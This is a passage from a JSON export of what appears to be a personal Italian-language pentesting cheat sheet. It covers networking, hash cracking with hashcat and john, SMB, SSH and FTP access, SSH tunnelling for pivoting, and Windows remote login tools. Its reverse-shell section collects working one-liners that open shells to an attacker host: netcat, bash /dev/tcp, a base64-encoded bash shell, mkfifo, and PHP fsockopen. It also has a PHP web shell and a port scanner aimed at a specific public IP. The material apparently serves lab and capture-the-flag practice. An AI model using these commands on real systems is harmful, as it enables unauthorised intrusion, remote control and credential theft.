172.18.0.3","order_in_cat":0,"is_main":0,"pen_element_related_id":36,"related_snip_ids":[]},{"id":132,"category":"Networking","language":"Standard Snip","title":null,"description":"Aggiunge una route","code":"sudo ip route add 10.10.10.0/24 via 192.168.1.1","order_in_cat":0,"is_main":0,"pen_element_related_id":36,"related_snip_ids":[]},{"id":133,"category":"Networking","language":"Standard Snip","title":null,"description":"Rimuove la route per quell’ip","code":"sudo ip route del 10.10.10.0/24","order_in_cat":0,"is_main":0,"pen_element_related_id":36,"related_snip_ids":[]},{"id":158,"category":"Networking","language":"Standard Snip","title":null,"description":"Elimina una regola\nDopo il list corrispondente \nsudo iptables -t nat -L PREROUTING -n -v —line-numbers\nPosso eliminare una linea specifica, in questo caso la 2","code":"sudo iptables -t nat -D PREROUTING 2","order_in_cat":0,"is_main":0,"pen_element_related_id":58,"related_snip_ids":[]},{"id":125,"category":"Networking","language":"Standard Snip","title":null,"description":"Lista delle regole di PREROUTING della tabella nat","code":"sudo iptables -t nat -L PREROUTING -n -v --line-numbers","order_in_cat":100,"is_main":1,"pen_element_related_id":339,"related_snip_ids":[126,127,158]},{"id":128,"category":"Networking","language":"Standard Snip","title":null,"description":"Versione moderna di ifconfig che mostra interfacce e ip\n\"Chi sono io? Quali interfacce e indirizzi IP ho?\"\n1: lo -> 127.0.0.1 # è la loopback, se stesso\n2: eth0 -> interfaccia connessa ethernet - inet 172.18.0.2/16","code":"ip addr ","order_in_cat":200,"is_main":1,"pen_element_related_id":36,"related_snip_ids":[]},{"id":134,"category":"Networking","language":"Standard Snip","title":null,"description":"Comando moderno per arp -a\nMostra le associazioni note tra indirizzi mac e ip sulla rete locale","code":"ip neigh","order_in_cat":300,"is_main":1,"pen_element_related_id":36,"related_snip_ids":[]},{"id":129,"category":"Networking","language":"Standard Snip","title":null,"description":"\"Se devo mandare un pacchetto a X, da dove lo mando?\"\ndefault via 172.18.0.1 dev eth0\n172.18.0.0/16 dev eth0 proto kernel scope link src 172.18.0.2 \nPer ip 172.18.0.0/16, usa eth0:\n- per sottorete 172.18.XXX.XXX -> usa eth0\n- non appartiene alla sottorete 172.18.XXX.XXX -> manda il pacchetto al gateway 172.18.0.1 attraverso eth0 per uscire","code":"ip route","order_in_cat":400,"is_main":1,"pen_element_related_id":36,"related_snip_ids":[130,132,133]},{"id":100,"category":"Others","language":"Standard Snip","title":null,"description":"Contiene elementi che non sono main e per sbaglio ho tolto lo snip code related","code":"No main snip code","order_in_cat":100,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":72,"category":"Password Cracking","language":"Standard Snip","title":null,"description":"A volte funziona meglio di hashid e da una più probabile","code":"hash-identifier 6ebcea...75995","order_in_cat":0,"is_main":1,"pen_element_related_id":141,"related_snip_ids":[]},{"id":61,"category":"Password Cracking","language":"Standard Snip","title":null,"description":"Per identificare tipo di hash\\n-j da il formato per john the ripper\\n-m da il mode per hashcat","code":"hashid $2a$10$SpKYdHL...iouherqwh","order_in_cat":1,"is_main":1,"pen_element_related_id":142,"related_snip_ids":[]},{"id":12,"category":"Password Cracking","language":"Standard Snip","title":null,"description":"Attacco semplice\\n-m mode da usare per il tipo di hash\\nhttps://hashcat.net/wiki/doku.php?id=example_hashes\\nATTENZIONE: Provare anche nel formato file con le sole hash e non name:hash","code":"hashcat -a 0 -m <mode> hash.txt /usr/share/wordlists/rockyou.txt","order_in_cat":2,"is_main":1,"pen_element_related_id":142,"related_snip_ids":[13,14,104,105]},{"id":11,"category":"Password Cracking","language":"Standard Snip","title":null,"description":"Le hash vanno messe in formato\\nuser:hash\\nSu Mac la wordlist è:\\n/Users/alex/Pentesting \\Mac/rockyou.txt","code":"john --wordlist=/usr/share/wordlists/rockyou.txt hashfile.txt","order_in_cat":3,"is_main":1,"pen_element_related_id":145,"related_snip_ids":[]},{"id":14,"category":"Password Cracking","language":"Standard Snip","title":null,"description":"-a 3: Fornisce un pattern per crackare la password. Ci sono vari placeholder:\\n?d digits\\n?l lower-case\\nPosso aggiungerle di nuovi con\\n-1 02 nel testo lo metto come ?1","code":"hashcat -a 3 -m 0 '50a742905949102c961929823a2e8ca0' -1 02 'HASHCAT?l?l?l?l?l20?1?d'","order_in_cat":4,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":13,"category":"Password Cracking","language":"Standard Snip","title":null,"description":"-a 1: Combina due wordlist","code":"hashcat -a 1 -m <mode> <hash file> <wordlist1> <wordlist2>","order_in_cat":5,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":30,"category":"Python","language":"Standard Snip","title":null,"description":"Apro un server python con python 3 nella cartella in cui lo avvio\n--bind <ip address>: per collegare una specifica interfaccia altrimenti si apre su tutte le interfacce (es solo l’ip del wan o solo dell’eth)","code":"sudo python -m http.server 80","order_in_cat":100,"is_main":1,"pen_element_related_id":67,"related_snip_ids":[]},{"id":20,"category":"Python","language":"Script Python 3","title":null,"description":"Hello python\nProva di un comando python che scrive hello\nDa provare","code":"import time\ndef main():\n    h = \"hello world 0\"\n    print(h)\n    time.sleep(2)\n    print(\"1\")\n    time.sleep(2)\n    print(\"2\")\n\nmain()","order_in_cat":200,"is_main":1,"pen_element_related_id":63,"related_snip_ids":[]},{"id":22,"category":"Python","language":"Script Python 3","title":null,"description":"Connection HTTP\nProva di connessione HTTP","code":"import http.client\n\n#http.client\nprint(\"-------------------------------\")\nprint(\"HTTP http.client:\")\n\nconnessione = http.client.HTTPConnection(\"hr.eurosanita.it\")\nconnessione.request(\"GET\", \"/HRPortal/jsp/home.jsp\")\nresponse = connessione.getresponse()\nprint(\"status: \" + str(response.status))\nprint(\"reason: \" + response.reason)\nprint(\"http.dati:\")\ndati = response.read()\n\nprint(dati.decode())\n\nprint(\"-------------------------------\")\n#ottengo gli headers\nprint(\"http.header:\")\nheaders = response.headers\nprint(headers)\nprint(\"-------------------------------\")\nprint(\"http User-agent:\")\nuserAgent = response.getheader(\"User-agent\")\nprint(userAgent)\n\nprint(\"-------------------------------\")\nprint(\"-------------------------------\")\n","order_in_cat":300,"is_main":1,"pen_element_related_id":67,"related_snip_ids":[]},{"id":87,"category":"Python","language":"Script Python 3","title":null,"description":"Socket TCP Server\nServer socket TCP in ascolto","code":"import socket\n\ndef run_server():\n    # create a socket object\n    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n    server_ip = \"$attackerIp\"\n    port = $attackerPort\n\n    # bind the socket to a specific address and port\n    server.bind((server_ip, port))\n    # listen for incoming connections\n    server.listen(0)\n    print(f\"Listening on {server_ip}:{port}\")\n\n    # accept incoming connections\n    client_socket, client_address = server.accept()\n    print(f\"Accepted connection from {client_address[0]}:{client_address[1]}\")\n\n    # receive data from the client\n    while True:\n        request = client_socket.recv(1024)\n        request = request.decode(\"utf-8\") # convert bytes to string\n        \n        # if we receive \"close\" from the client, then we break\n        # out of the loop and close the conneciton\n        if request.lower() == \"close\":\n            # send response to the client which acknowledges that the\n            # connection should be closed and break out of the loop\n            client_socket.send(\"closed\".encode(\"utf-8\"))\n            break\n\n        print(f\"Received: {request}\")\n\n        response = \"accepted\".encode(\"utf-8\") # convert string to bytes\n        # convert and send accept response to the client\n        client_socket.send(response)\n\n    # close connection socket with the client\n    client_socket.close()\n    print(\"Connection to client closed\")\n    # close server socket\n    server.close()\n\n\nrun_server()","order_in_cat":400,"is_main":1,"pen_element_related_id":63,"related_snip_ids":[]},{"id":21,"category":"Python","language":"Script Python 3","title":null,"description":"Socket TCP Client\nProva di connessione a una specifica porta e ip","code":"import socket\ndef portScannerWithSocket(ip_address, startPort, endPort):\n for port in range(startPort,endPort):\n  mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n  mySocket.settimeout(10)\n  scan = mySocket.connect_ex((ip_address,port))#connect_ex da 0 se si connette e codice di errore se non si connette\n  if scan == 0:\n   print(\"Porta {} APERTA\", format(port))\n  else:\n   print(\"porta %d chiusa\" %port)\n  mySocket.close()\n  \nportScannerWithSocket(\"2.231.198.9\", 1, 85)","order_in_cat":500,"is_main":1,"pen_element_related_id":67,"related_snip_ids":[]},{"id":109,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Listener su Mac","code":"nc -lv $attackerPort","order_in_cat":0,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":111,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Stabilizzare la shell con python","code":"python3 -c 'import os; os.system(\"/bin/sh\")'\n","order_in_cat":0,"is_main":0,"pen_element_related_id":102,"related_snip_ids":[]},{"id":94,"category":"Reverse Shells","language":"Script PHP","title":null,"description":"Esecuzione comandi da web\\nPosso creare una pagina che prende comandi con get cmd, per usarla\\nhttp://server/path/to/page.php?\\ncmd=comando","code":"<?php system($_GET['cmd']);?>","order_in_cat":1,"is_main":0,"pen_element_related_id":103,"related_snip_ids":[]},{"id":17,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Reverse shell bash codificata in base64\\nCreare la stringa con \\necho \"bash -c 'bash -i >& /dev/tcp/10.10.16.5/4448 0>&1'\" | base64","code":"echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzQ0NDggMD4mMScK | base64 -d | bash 2>/dev/null","order_in_cat":3,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":15,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Reverse shell netcat","code":"nc -e /bin/sh $attackerIp $attackerPort\\n","order_in_cat":4,"is_main":0,"pen_element_related_id":103,"related_snip_ids":[]},{"id":16,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Reverse shell bash con opzione -c","code":"bash -c 'bash -i >& /dev/tcp/$attackerIp/$attackerPort 0>&1'","order_in_cat":5,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":95,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Netcat per Linux \\nAprire una reverse shell verso l'attaccante","code":"nc -e /bin/bash $attackerIp $attackerPort ","order_in_cat":100,"is_main":1,"pen_element_related_id":117,"related_snip_ids":[]},{"id":110,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Connessione con netcat se non c’è l’opzione -e, reindirizzando i descriptor con FIFO","code":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $attackerIp $attackerPort >/tmp/f","order_in_cat":200,"is_main":1,"pen_element_related_id":102,"related_snip_ids":[]},{"id":112,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Analogo per mac al socket /dev/tcp\nQuesto carica il modulo tcp e avvia stcp che crea il socket (nella variabile $REPLY) e lo attacca al file descriptor che salvo in $fd\nzmodload zsh/net/tcp; ztcp $attackerIp $attackerPort; fd=$REPLY;\nPoi collego i file descriptor 0, 1 e 2 (stdin, stdout e stderr) a $fd","code":"zmodload zsh/net/tcp; ztcp $attackerIp $attackerPort; fd=$REPLY; /bin/bash -i <&$fd >&$fd 2>&$fd","order_in_cat":300,"is_main":1,"pen_element_related_id":102,"related_snip_ids":[]},{"id":122,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Shell php","code":"php -r '$sock=fsockopen(\"$attackerIp\",$attackerPort);exec(\"/bin/sh -i <&3 >&3 2>&3\");'","order_in_cat":400,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":59,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Netcat per Windows\\nScaricare nc64.exe da github -> vedi nota","code":"nc64.exe -e cmd.exe $attackerIp $attackerPort ","order_in_cat":500,"is_main":1,"pen_element_related_id":117,"related_snip_ids":[]},{"id":104,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Listening netcat\\nrlwrap permette di usare tasti freccia nella shell\ncredo voglia dire right left wrap","code":"rlwrap nc -lvnp $attackerPort","order_in_cat":600,"is_main":1,"pen_element_related_id":103,"related_snip_ids":[109]},{"id":105,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Stabilizzare la shell tty","code":"SHELL=/bin/bash script -q /dev/null","order_in_cat":700,"is_main":1,"pen_element_related_id":103,"related_snip_ids":[111]},{"id":103,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Reverse shell bash","code":"/bin/bash -i > /dev/tcp/$attackerIp/$attackerPort 2>&1 0>&1","order_in_cat":800,"is_main":1,"pen_element_related_id":103,"related_snip_ids":[15,16,17]},{"id":29,"category":"Reverse Shells","language":"Script PHP","title":null,"description":"Reverse shell php (proc_open)\nCaricare la shell sul sito come shell.php, mettersi in ascolto e andare sulla pagina","code":"<?php\n$sock = fsockopen(\"$attackerIp\",$attackerPort);\n$proc = proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);\n?>","order_in_cat":900,"is_main":1,"pen_element_related_id":103,"related_snip_ids":[94]},{"id":62,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Script in linguaggio Racket da salvare in shell.plt","code":"cmdout = system(\"bash -c 'bash -i >& /dev/tcp/$attackerIp/$attackerPort 0>&1'\")\nprint cmdout","order_in_cat":1000,"is_main":1,"pen_element_related_id":102,"related_snip_ids":[]},{"id":85,"category":"Script Swift","language":"Script Swift","title":null,"description":"Script Swift\nStampa hello","code":"for i in 1...8{\n    print(\"hello pentesting \\(i)\")\n}","order_in_cat":100,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":96,"category":"Services","language":"Standard Snip","title":null,"description":"Connessione a client anonimi\\n-N posso toglierlo se non si connette","code":"smbclient -L -N //$targetIp/","order_in_cat":0,"is_main":0,"pen_element_related_id":95,"related_snip_ids":[]},{"id":90,"category":"Services","language":"Standard Snip","title":null,"description":"Richiesta per DNS server - porta 53\\n-x reverse lookup: mi da il nome del dominio dall'ip","code":"dig -x $targetIp @$targetIp","order_in_cat":3,"is_main":1,"pen_element_related_id":188,"related_snip_ids":[91,92]},{"id":58,"category":"Services","language":"Standard Snip","title":null,"description":"PSEXEC di IMPACKET\\nper ottenere una shell con smb\\n[password] è opzionale, se non la metto posso mettere\\nuser@targetIp","code":"python3 /usr/share/doc/python3-impacket/examples/psexec.py user[:password]@$targetIp","order_in_cat":4,"is_main":0,"pen_element_related_id":95,"related_snip_ids":[]},{"id":23,"category":"Services","language":"Standard Snip","title":null,"description":"Connessione allo share notes \\n-U utente admin -> posso anche ometterlo\\nATTENZIONE: no -L altrimenti non si connette","code":"smbclient //$targetIp/notes -U admin","order_in_cat":5,"is_main":0,"pen_element_related_id":186,"related_snip_ids":[]},{"id":57,"category":"Services","language":"Standard Snip","title":null,"description":"Connessione a directory verso windows","code":"sudo smbclient \\\\\\\\10.129.213.247\\\\C$ -U Administrator","order_in_cat":5,"is_main":0,"pen_element_related_id":95,"related_snip_ids":[]},{"id":56,"category":"Services","language":"Standard Snip","title":null,"description":"Provare sempre la lista con Administrator","code":"smbclient -L $targetIp -U Administrator","order_in_cat":6,"is_main":0,"pen_element_related_id":95,"related_snip_ids":[]},{"id":55,"category":"Services","language":"Standard Snip","title":null,"description":"Connessione a una directory\\nRitorna la shell smb\\nsmb:> get nomefile.txt","code":"sudo smbclient \\\\\\\\$targetIp\\\\directory","order_in_cat":7,"is_main":0,"pen_element_related_id":95,"related_snip_ids":[]},{"id":106,"category":"Services","language":"Standard Snip","title":null,"description":"Connessione anonima ad smb","code":"smbclient -N -L //$targetIp","order_in_cat":7,"is_main":0,"pen_element_related_id":186,"related_snip_ids":[]},{"id":54,"category":"Services","language":"Standard Snip","title":null,"description":"Lista delle cartelle messe a disposizione","code":"smbclient -L $targetIp -U user","order_in_cat":8,"is_main":1,"pen_element_related_id":95,"related_snip_ids":[23,55,56,57,58,96,106]},{"id":53,"category":"Services","language":"Standard Snip","title":null,"description":"Lo uso con il forwarding dinamico \\nssh -D 9050 user@targetIp\\nuna volta impostato e avviato il proxy dinamico posso lavorare come se lavorassi sul target basta che faccio precedere i comandi con proxychains","code":"/etc/proxychains4.conf -> socks4 127.0.0.1 9050\\nproxychains4 nmap -v -sn 172.16.5.1-200","order_in_cat":9,"is_main":0,"pen_element_related_id":106,"related_snip_ids":[]},{"id":52,"category":"Services","language":"Standard Snip","title":null,"description":"Reverse Port Forwarding per Servizi-> lo avvio dal target\\n- 1234 -> porta locale in localhost (localhost è sottinteso), dove espongo il servizio\\n- localhost:3306 -> è il servizio che gira sul target in localhost\\n- user@attackerIp connessione reverse alla macchina attaccante\\n-f -N non aprono la shell","code":"ssh -R 1234:localhost:3306 user@$attackerIp -f -N","order_in_cat":10,"is_main":0,"pen_element_related_id":106,"related_snip_ids":[]},{"id":51,"category":"Services","language":"Standard Snip","title":null,"description":"Reverse Port Forwarding per Pivoting-> lo avvio dal pivot intermedio \\n- 127.0.0.1:80 -> è il pivot intermedio con la porta esposta\\n- targetIp:80 -> è il target finale \\n- user@$attackerIp -> reverse connection alla mia macchina attaccante\\n-f -N non aprono la shell","code":"ssh -R 127.0.0.1:80:$targetIp:80 user@$attackerIp -f -N","order_in_cat":11,"is_main":0,"pen_element_related_id":106,"related_snip_ids":[]},{"id":50,"category":"Services","language":"Standard Snip","title":null,"description":"Dinamic Forwarding -> Viene scelta una singola porta e dinamicamente reindirizza tutto il traffico che riceve su quella porta verso l'host a cui mi connetto\\nATTENZIONE: PER FARLO FUNZIONARE DEVO IMPOSTARE PROXYCHAINS","code":"ssh -D 9050 user@$targetIp","order_in_cat":12,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":46,"category":"Services","language":"Standard Snip","title":null,"description":"Local port forwarding per Pivoting-> dalla macchina attaccante \\n- 127.0.0.1:1234 -> porta nella macchina attaccante\\n- targetFinale:portFinale -> macchina target finale accessibile da pivot\\n- user@targetIp pivot a cui mi connetto\\n-f -N non aprono la shell\\nInfine mi connetto in locale a 127.0.0.1:1234","code":"ssh -L 127.0.0.1:1234:$targetFinale:$portFinale user@$targetIp -f -N","order_in_cat":13,"is_main":0,"pen_element_related_id":107,"related_snip_ids":[]},{"id":45,"category":"Services","language":"Standard Snip","title":null,"description":"Local port forwarding per Servizi -> lo attivo da macchina attaccante per fare il forwarding dei servizi locali sul target\\n- 1234 -> porta locale a cui connettermi\\n- 127.0.0.1:$targetPort -> porta sul target (localhost) su cui è il servizio\\n- user@targetIp -> mi connetto al target su cui gira il servizio\\n-f -N non aprono la shell","code":"ssh -L 1234:127.0.0.1:$targetPort user@$targetIp -f -N","order_in_cat":14,"is_main":0,"pen_element_related_id":107,"related_snip_ids":[]},{"id":44,"category":"Services","language":"Standard Snip","title":null,"description":"Per connessione con chiave privata (es. trovata in un server remoto)","code":"sudo ssh -i id_rsa user@$targetIp","order_in_cat":15,"is_main":0,"pen_element_related_id":93,"related_snip_ids":[]},{"id":43,"category":"Services","language":"Standard Snip","title":null,"description":"Connessione con utente ad ssh","code":"ssh user@$targetIp","order_in_cat":16,"is_main":1,"pen_element_related_id":200,"related_snip_ids":[44,45,46,50,51,52,53]},{"id":42,"category":"Services","language":"Standard Snip","title":null,"description":"per caricare file in ftp","code":"put filename","order_in_cat":17,"is_main":0,"pen_element_related_id":185,"related_snip_ids":[]},{"id":41,"category":"Services","language":"Standard Snip","title":null,"description":"Per fare download di file in ftp","code":"get filename","order_in_cat":18,"is_main":0,"pen_element_related_id":185,"related_snip_ids":[]},{"id":40,"category":"Services","language":"Standard Snip","title":null,"description":"Connessione anonima ad FTP -> password anonymous\\nLa porta può essere omessa","code":"ftp anonymous@$targetIp","order_in_cat":19,"is_main":1,"pen_element_related_id":185,"related_snip_ids":[41,42]},{"id":92,"category":"Services","language":"Standard Snip","title":null,"description":"Richiesta per DNS server - porta 53\\nany -> tutti i record\\nns -> record di dominio\\nmx -> mail","code":"dig any inlanefreight.htb @$targetIp","order_in_cat":100,"is_main":0,"pen_element_related_id":188,"related_snip_ids":[]},{"id":91,"category":"Services","language":"Standard Snip","title":null,"description":"Richiesta per DNS server - porta 53\\naxfr se abilitato mostra domini interni","code":"dig axfr inlanefreight.htb @$targetIp","order_in_cat":200,"is_main":0,"pen_element_related_id":188,"related_snip_ids":[]},{"id":101,"category":"Settings","language":"Standard Snip","title":null,"description":"Serve a correggere l'orologio\\noppure \\nsudo service ntpsec start","code":"sudo systemctl start ntp.service","order_in_cat":100,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":117,"category":"Settings","language":"Standard Snip","title":null,"description":"Sostituisce cron nelle distribuzioni moderne, utile per trovare script avviati con privilegi root","code":"systemctl list-timers","order_in_cat":200,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":102,"category":"Windows","language":"Standard Snip","title":null,"description":"Connessione ad WinRM con certificato e key ottenuto con file .pxf (pkcs12) e openssl\\n-S per abilitare ssl ","code":"evil-winrm -c cert.pem -k key.pem -i $targetIp -S","order_in_cat":0,"is_main":0,"pen_element_related_id":206,"related_snip_ids":[]},{"id":121,"category":"Windows","language":"Standard Snip","title":null,"description":"Enumerazione target Windows da linux","code":"enum4linux -a $targetIp","order_in_cat":0,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":84,"category":"Windows","language":"Standard Snip","title":null,"description":"Connessione ad WinRM","code":"evil-winrm -u user -p 'password' -i $targetIp","order_in_cat":1,"is_main":1,"pen_element_related_id":206,"related_snip_ids":[102]},{"id":37,"category":"Windows","language":"Standard Snip","title":null,"description":"Connessione ad RDP\\nPosso provare con una blank password.\\n/p:pass per specificarla","code":"xfreerdp /v:$targetIp /u:administrator","order_in_cat":2,"is_main":1,"pen_element_related_id":205,"related_snip_ids":[]}]